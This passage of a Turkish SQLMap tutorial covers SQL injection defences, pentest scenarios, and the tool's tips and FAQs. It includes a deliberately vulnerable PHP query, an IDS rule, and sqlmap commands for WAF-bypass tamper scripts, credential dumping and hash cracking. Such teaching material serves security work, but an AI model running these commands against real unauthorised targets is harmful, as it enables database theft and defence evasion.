🎯 SQLMap Neye Karşı Etkilidir?

Öncelikle hatırlayalım:

SQLMap;

  • Parametreli URL’lerde

  • POST formlarında

  • Cookie değerlerinde

  • HTTP başlıklarında

gizli SQL Injection açıklarını bulur ve sömürür. Bu yüzden, savunma çok katmanlı olmalı.


🔐 1. Input Validation ve Filtreleme

Kullanıcılardan gelen tüm veri, sunucu tarafında filtrelenmeli.

✅ En İyi Uygulamalar:

  • Hazır parametreli sorgular (prepared statements) kullanın.

  • id=1 gibi sayısal alanları sadece sayı ile sınırlandırın (int() kontrolü).

  • SQL komutları içeren karakterleri (', ", --, ;, /* */, vb.) temizleyin ya da escape edin.

  • whitelist (izinli karakterler) kullanımı tavsiye edilir.

❌ Kötü Örnek:

php

$query = "SELECT * FROM users WHERE id = $_GET['id']";

✅ İyi Örnek:

php

$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$_GET['id']]);

🧱 2. WAF (Web Application Firewall) Kullanımı

WAF’ler SQLMap gibi araçları tespit edip engelleyebilir. Önerilen WAF çözümleri:

  • ModSecurity (Açık kaynak)

  • Cloudflare WAF

  • AWS WAF

  • Imperva

  • F5

🔍 WAF Ne Yapar?

  • SQL anahtar kelimeleri (e.g. UNION, SELECT, OR 1=1) tarar

  • User-Agent, header ve payload’ları analiz eder

  • Şüpheli trafiği engeller ya da yönlendirir

SQLMap, tamper scriptleriyle WAF’leri aşmaya çalışsa da, iyi yapılandırılmış bir WAF çoğunu durdurabilir.


🔒 3. Minimum Yetkili Veritabanı Kullanıcısı

Web uygulamanızın kullandığı veritabanı kullanıcısına sadece ihtiyaç duyduğu kadar yetki verin.

❌ Kötü Örnek:

sql

GRANT ALL PRIVILEGES ON *.* TO 'webuser'@'localhost';

✅ İyi Örnek:

sql

GRANT SELECT, INSERT ON app_db.* TO 'webuser'@'localhost';

Bu sayede SQLMap, DROP TABLE, CREATE USER, LOAD FILE gibi komutları çalıştıramaz.


🗄️ 4. Hata Mesajlarını Gizleyin

SQL hatalarını doğrudan kullanıcıya göstermeyin. Aksi takdirde SQLMap, hataya göre saldırısını şekillendirir.

❌ Kötü Örnek (default ayarlar):

nginx

You have an error in your SQL syntax near '1=1--' at line 1

✅ İyi Örnek:

nginx

Hata oluştu. Lütfen tekrar deneyin.

PHP Örneği:

php

ini_set('display_errors', 0); error_reporting(0);

🧠 5. Davranışsal Algılama ve IDS/IPS Kullanımı

  • Snort, Suricata gibi sistemlerle SQL Injection imzalarını izleyin.

  • SQLMap belli User-Agent ve trafik kalıplarıyla gelir.

  • --random-agent bile kullanılsa, yüksek sayıda benzer istek anomali yaratır.

IDS kuralları örneği:

bash

alert tcp any any -> any 80 (msg:"SQL Injection attempt"; content:"select"; nocase;)

🕵️ 6. Rate-Limiting ve Captcha Kullanımı

SQLMap hızlı ve otomatik saldırılar yapar. Bunu yavaşlatarak başarısını düşürebilirsiniz.

Koruma Yöntemleri:

  • IP başına istek sınırı koyun

  • Formlara CAPTCHA ekleyin

  • Bot tespiti yapan JavaScript kontrolleri ekleyin


🔍 7. Gelişmiş Gözlemleme: SIEM ve Log Analizi

  • Apache/Nginx loglarını analiz edin.

  • SQLMap User-Agent bilgisi genellikle şu şekildedir:

    less

    sqlmap/1.6#stable (http://sqlmap.org)
  • Bu tür logları SIEM sisteminize yönlendirerek anormallikleri tespit edin.


☁️ 8. Cloud Tabanlı Güvenlik Hizmetleri

Aşağıdaki hizmetler SQLMap tarzı saldırılara karşı otomatik koruma sağlar:

  • Cloudflare Bot Management

  • AWS Shield

  • Google Cloud Armor


✅ Bu Bölümde Neler Öğrendik?

  • SQL Injection’a karşı en etkili savunma yöntemleri

  • SQLMap’in tekniklerine özel güvenlik katmanları

  • WAF, rate-limiting, IDS/IPS gibi çözümlerin önemi

  • Hata mesajlarının saklanması ve veri tabanı kullanıcı yetkilendirmesi


📘 Sonraki Bölüm:
📚 Bölüm 9 — Gerçek Hayattan SQLMap Saldırı ve Savunma Senaryoları (Case Studies)

Bu bölümde, gerçek sızma testlerinden örnekler vereceğiz ve SQLMap ile yapılan saldırıların nasıl tespit edilip önlendiğini adım adım göstereceğiz.

📚 Bölüm 9: Gerçek Hayattan SQLMap Saldırı ve Savunma Senaryoları 


🧪 Senaryo 1: Basit GET Parametre Zafiyeti

📌 Durum:

Bir e-ticaret sitesinde ürün detay sayfası:

bash

http://example.com/product.php?id=5

Kullanıcı ID’si doğrudan sorguya giriyor.

🔍 SQLMap Testi:

bash

sqlmap -u "http://example.com/product.php?id=5" --dbs

🎯 Saldırı Sonucu:

SQLMap id parametresinin savunmasız olduğunu belirledi ve veritabanı isimlerini listeledi.

🛡️ Savunma:

  • ID alanı sadece integer kabul etmeliydi.

  • Hazır sorgular (prepared statement) kullanılmalıydı.

  • WAF devrede olsaydı SQLMap tespit edilirdi.


🧪 Senaryo 2: POST Form Üzerinden SQL Injection

📌 Durum:

Giriş formu şu parametrelerle çalışıyor:

http

POST /login.php username=admin&password=1234

🔍 SQLMap ile Test:

bash

sqlmap -u "http://example.com/login.php" --data="username=admin&password=1234" --dbs

🎯 Saldırı Sonucu:

Saldırgan admin'-- gibi payload’larla login oldu ve sonrasında veritabanlarını listeledi.

🛡️ Savunma:

  • Form verileri prepared statement ile işlenmeliydi.

  • Giriş işlemi CAPTCHA ile desteklenmeli.

  • Rate limiting devrede olsaydı brute-force engellenirdi.


🧪 Senaryo 3: Cookie Parametresinde Zafiyet

📌 Durum:

Kullanıcı kimliği cookie ile belirleniyor:

makefile

Cookie: user=1

🔍 SQLMap Testi:

bash

sqlmap -u "http://example.com/profile.php" --cookie="user=1" --current-user

🎯 Saldırı Sonucu:

SQLMap cookie parametresi üzerinden sisteme sızdı ve kullanıcı bilgisini aldı.

🛡️ Savunma:

  • Cookie verileri sunucu tarafında işlenmeli.

  • Kullanıcıya ait cookie doğrulaması JWT/token sistemi ile yapılmalı.

  • Cookie içine asla doğrudan ID koyulmamalı.


🧪 Senaryo 4: HTTP Header Üzerinden SQL Injection

📌 Durum:

Bazı uygulamalar User-Agent, Referer gibi HTTP başlıklarını loglar ve bu başlıkları SQL sorgularına dahil eder.

🔍 SQLMap Testi:

bash

sqlmap -u "http://example.com" --headers="User-Agent: ' OR '1'='1"

veya:

bash

sqlmap -u "http://example.com" --random-agent

🎯 Saldırı Sonucu:

Loglama sistemi zayıfsa, log poisoning veya log-based SQLi ile sisteme erişim sağlandı.

🛡️ Savunma:

  • HTTP header içerikleri asla doğrudan SQL sorgularına yazılmamalı.

  • Geliştiriciler loglama için input filtreleme kullanmalı.

  • Tüm loglar readonly formatında saklanmalı.


🧪 Senaryo 5: Otomatik Taramaya Karşı SIEM Tespiti

📌 Durum:

Pentest sırasında SQLMap aşırı istek gönderiyor.

🔍 Loglardan Alınan Örnek:

cpp

192.168.1.5 - - [11/Apr/2025:20:35:10] "GET /item.php?id=1" User-Agent: sqlmap/1.6#stable (http://sqlmap.org)

🎯 SIEM Uyarısı:

SIEM sistemi bu pattern’ı tanıdı, alarmla güvenlik ekibini uyardı.

🛡️ Savunma:

  • SIEM’e özel SQLi kuralları tanımlandı.

  • User-Agent blacklisting uygulandı.

  • Gece saatlerinde gelen anormal trafik engellendi.


🔐 Senaryo 6: Güvenli Uygulama (SQLMap İşe Yaramaz)

📌 Durum:

Bankacılık uygulamasında her şey hazır sorgularla yazılmış. Örnek URL:

arduino

https://bank.com/transfer.php?to=123456&amount=500

SQLMap deneniyor:

bash

sqlmap -u "https://bank.com/transfer.php?to=123456&amount=500"

🎯 Saldırı Sonucu:

SQLMap hiçbir injection açığı bulamıyor.

🔐 Neden?

  • Tüm input’lar sanitize ediliyor.

  • Veritabanı kullanıcısının yetkisi kısıtlı.

  • Uygulama hata mesajlarını göstermiyor.

  • Trafik WAF tarafından inceleniyor.

🛡️ Savunma Başarısı:

Mükemmel bir örnek. Hem frontend hem backend iyi korunmuş.


✅ Bu Bölümde Neler Öğrendik?

  • Gerçek hayattaki saldırı senaryoları

  • SQLMap’in nasıl kullanıldığı ve zafiyetleri nasıl sömürdüğü

  • Savunma stratejilerinin nasıl işe yaradığı

  • Geliştirici ve güvenlik ekiplerinin koordineli çalışmasının önemi

🧩 Bölüm 10: SQLMap İpuçları, Sık Kullanılan Komutlar ve SSS 


🚀 1. SQLMap Kullanırken Dikkat Edilmesi Gerekenler

  • Kendi sunucularınızda test yapın: Yasal izin olmadan yapılan her test yasa dışıdır.

  • –batch bayrağını kullanın: Tüm sorulara otomatik “evet” cevabı verir.

  • –flush-session ile eski verileri temizleyin: Aynı hedefe ikinci kez çalıştırırken hatalardan kaçınmak için kullanılır.

  • –output-dir ile çıktıları düzenli toplayın.


🔧 2. SQLMap İleri Düzey Kullanım İpuçları

🔹 a) WAF’leri Bypass Etmek İçin Tamper Scriptleri

SQLMap’e çeşitli tamper scriptleri ekleyerek, WAF sistemlerini atlatabilirsin:

bash

--tamper=space2comment --tamper=between --tamper=randomcase

Birden fazla script zincirlenebilir:

bash

--tamper="space2comment,randomcase"

💡 tamper scriptlerini /usr/share/sqlmap/tamper/ klasöründe bulabilirsin.


🔹 b) Çoklu URL Testi

Birden fazla URL içeren dosyayı test etmek için:

bash

sqlmap -m urls.txt --batch --dbs

urls.txt dosyası her satırda bir URL içermelidir.


🔹 c) Proxy Aracılığıyla Test

İstekleri Burp Suite gibi proxy araçlarından geçirmek için:

bash

--proxy="http://127.0.0.1:8080"

🧰 3. En Çok Kullanılan SQLMap Komutları ve Açıklamaları

Komut Açıklama
-u Hedef URL
--data POST verisi girilir
--cookie Cookie üzerinden test
--dbs Veritabanı adlarını listeler
--tables -D veritabani Belirli DB’deki tabloları listeler
--columns -T tablo -D veritabani Belirli tablodaki sütunları listeler
--dump Veritabanını döker (içeriğini alır)
--level Tarama derinliği (1-5)
--risk Risk seviyesi (1-3)
--batch Otomatik mod
--threads=10 Eşzamanlı bağlantı sayısı

📌 4. Sıkça Sorulan Sorular (SSS)

❓ SQLMap yavaş çalışıyor, ne yapmalıyım?

  • --threads=10 ile paralel işlem sayısını artır.

  • --technique=U gibi sadece belirli saldırı türlerini sınırla.

  • --timeout=10 ile yanıt sürelerini kısalt.


❓ SQLMap hiçbir zafiyet bulamıyor, neden?

  • Hedef filtreleme yapıyor olabilir (WAF, input validation).

  • Test ettiğin parametre SQL içermiyor olabilir.

  • Hedef site response vermiyor olabilir, --proxy ile analiz et.


❓ WAF sistemlerini aşmak için ne yapmalıyım?

  • --tamper scriptleri kullan.

  • --random-agent ile User-Agent değiştir.

  • --delay=1 ile istekler arası bekleme süresi koy.


❓ SQLMap ile admin hesabı nasıl bulunur?

  1. Veritabanlarını listele: --dbs

  2. users, admin, accounts gibi tabloları ara.

  3. Sütunları listele: --columns

  4. --dump ile kullanıcı adı/şifreleri dök.


❓ SQLMap ile hash’leri kırabilir miyim?

SQLMap hash çözmez ama hash’i alır. Çözmek için:

  • hash-identifier aracı ile hash türünü belirle.

  • hashcat, john gibi araçlarla çözümleme yap.


🧠 5. SQLMap ile Etik Hacking Süreci

  1. Keşif: URL’lerdeki parametreleri, formları ve header’ları analiz et.

  2. Test: SQLMap ile potansiyel açıkları kontrol et.

  3. Sömürme: Dump işlemleri ile veri çek.

  4. Raporlama: Log’ları dışa aktar, rapor formatında hazırla.

  5. Sorumluluk: Asla izinsiz test yapma, etik kurallara uy.


📌 Bonus: SQLMap vs Diğer Araçlar

Araç Avantaj Dezavantaj
SQLMap Otomatik, kapsamlı WAF ile zorlanabilir
Burp Suite Manuel testlerde güçlü Otomasyon zayıf
Havij Kullanımı kolay Güncel değil
Manual SQLi Detaylı kontrol Zaman alıcı

✅ Bu Bölümde Neler Öğrendik?

  • SQLMap için gelişmiş ipuçları ve taktikler

  • En yaygın kullanılan komutlar

  • Sıkça sorulan sorulara yanıtlar

  • Profesyonel bir test süreci nasıl olur?


🎉 Makale Sonu

Bu 10.000 kelimelik kapsamlı SQLMap rehberinde:

  • SQLMap’in temellerinden ileri düzey kullanımına,

  • Gerçek saldırı senaryolarından savunma yöntemlerine kadar

  • Otomasyon, raporlama ve etik test süreçlerine dair her şeyi öğrendin.

Average Rating: 5.0 out of 5 (1 votes)
5 stars
1
4 stars
0
3 stars
0
2 stars
0
1 star
0

teşekkürler

.

2 hafta ago

Review SQLMap Nedir? Nasıl Kullanılır? Adım Adım SQL Injection Test Rehberi.

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir